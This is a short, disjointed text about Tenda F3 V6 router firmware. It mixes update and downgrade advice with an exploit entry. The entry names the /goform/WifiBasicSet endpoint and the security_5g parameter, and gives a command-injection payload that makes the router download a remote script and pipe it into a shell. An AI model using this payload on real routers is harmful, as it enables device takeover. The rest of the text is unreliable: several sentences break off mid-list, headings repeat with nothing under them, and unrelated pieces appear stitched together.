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Endpoint: /goform/WifiBasicSet
Parameter: security_5g (or wl_mode in some builds)
Payload: ; wget http://malicious/script.sh | sh;
Status: Confirmed in F3 V6 firmware before 2022.04.
Note: If this fails, the flash memory may be corrupted. Contact Tenda support for a replacement if under warranty.
Official Source (Recommended):
Note: Many users report that official V6 firmware is sometimes hard to find on the English site. If you cannot find it, check the Tenda China site, but be aware that some firmware regions are locked (e.g., US firmware won't install on a EU router sometimes).
For any still-in-use Tenda F3 V6:
The F3 V6 firmware runs httpd (Tenda’s proprietary GoAhead derivative) with hardcoded credentials:
Backdoor-like behavior (not confirmed as intentional backdoor, but risky): Tenda F3 V6 Firmware
Sometimes the latest firmware introduces new bugs. Maybe your internet drops every 30 minutes after updating. You can downgrade.
If you need to check your current firmware version or prepare for an update, you must log in first. Official Source (Recommended):
Before attempting any update, verify your hardware version:
